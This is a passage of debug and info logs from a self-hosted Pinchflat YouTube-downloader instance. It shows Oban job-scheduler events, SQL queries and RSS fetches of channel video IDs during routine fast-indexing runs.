{"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:56.285 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.317 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:43:26.286 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:56.287 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.318 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:44:26.288 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:56.289 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.319 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:45:26.290 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:56.291 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.320 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:46:26.293 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:56.294 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.321 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:47:26.295 [info] {"source":"oban","duration":427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:56.296 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.322 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:48:26.297 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:56.298 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.323 [info] {"source":"oban","duration":297,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:49:26.299 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:56.300 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.323 [info] {"source":"oban","duration":102,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:50:26.301 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:27.360 [info] {"args":{"id":2},"id":584,"meta":{},"system_time":1784886627360261511,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:50:27.360 [debug] QUERY OK source="sources" db=0.0ms idle=1869.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 09:50:27.360 [debug] QUERY OK source="settings" db=0.0ms idle=1059.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:50:27.360 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:50:27.360 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:50:27.360 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 09:50:27.657 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:50:27.657 [debug] QUERY OK source="media_items" db=0.3ms idle=296.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 09:50:27.658 [debug] QUERY OK source="media_items" db=0.3ms idle=297.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 09:50:27.659 [debug] QUERY OK source="tasks" db=0.0ms idle=298.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [587, 2, ~U[2026-07-24 09:50:27Z], ~U[2026-07-24 09:50:27Z]] 09:50:27.659 [info] {"args":{"id":2},"id":584,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":299005,"event":"job:stop","queue_time":1003590,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:50:37.371 [info] {"args":{"id":1},"id":585,"meta":{},"system_time":1784886637371163101,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:50:37.371 [debug] QUERY OK source="sources" db=0.1ms idle=1880.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 09:50:37.371 [debug] QUERY OK source="settings" db=0.0ms idle=1880.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:50:37.371 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:50:37.371 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:50:37.371 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 09:50:37.555 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:50:37.556 [debug] QUERY OK source="media_items" db=0.3ms idle=184.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 09:50:37.560 [debug] QUERY OK source="media_items" db=3.9ms idle=184.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 09:50:37.561 [debug] QUERY OK source="tasks" db=0.1ms idle=189.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [588, 1, ~U[2026-07-24 09:50:37Z], ~U[2026-07-24 09:50:37Z]] 09:50:37.561 [info] {"args":{"id":1},"id":585,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":190016,"event":"job:stop","queue_time":453036,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:50:49.389 [info] {"args":{"id":3},"id":586,"meta":{},"system_time":1784886649389098749,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:50:49.389 [debug] QUERY OK source="sources" db=0.0ms idle=1898.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 09:50:49.389 [debug] QUERY OK source="settings" db=0.0ms idle=1898.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:50:49.389 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 09:50:49.389 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:50:49.389 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 09:50:49.627 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:50:49.628 [debug] QUERY OK source="media_items" db=0.2ms idle=239.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 09:50:49.630 [debug] QUERY OK source="media_items" db=1.7ms idle=239.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 09:50:49.631 [debug] QUERY OK source="tasks" db=0.3ms idle=241.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [589, 3, ~U[2026-07-24 09:50:49Z], ~U[2026-07-24 09:50:49Z]] 09:50:49.632 [info] {"args":{"id":3},"id":586,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":242761,"event":"job:stop","queue_time":615872,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 09:50:56.302 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.324 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:51:26.304 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:56.305 [info] {"source":"oban","duration":505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.326 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:52:26.306 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:56.307 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.327 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:53:26.308 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:56.310 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.327 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:54:26.311 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:56.312 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.329 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:55:26.313 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:56.314 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.330 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:56:26.315 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:56.316 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.331 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:57:26.318 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:56.319 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.332 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:58:26.321 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:56.323 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.333 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 09:59:26.325 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:56.326 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.334 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:00:26.327 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:28.039 [info] {"args":{"id":2},"id":587,"meta":{},"system_time":1784887228039291976,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 10:00:28.039 [debug] QUERY OK source="sources" db=0.2ms idle=548.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 10:00:28.039 [debug] QUERY OK source="settings" db=0.0ms idle=548.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:00:28.040 [debug] QUERY OK source="media_profiles" db=0.0ms idle=549.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 10:00:28.040 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 10:00:28.040 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 10:00:28.155 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 10:00:28.156 [debug] QUERY OK source="media_items" db=0.1ms idle=116.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", 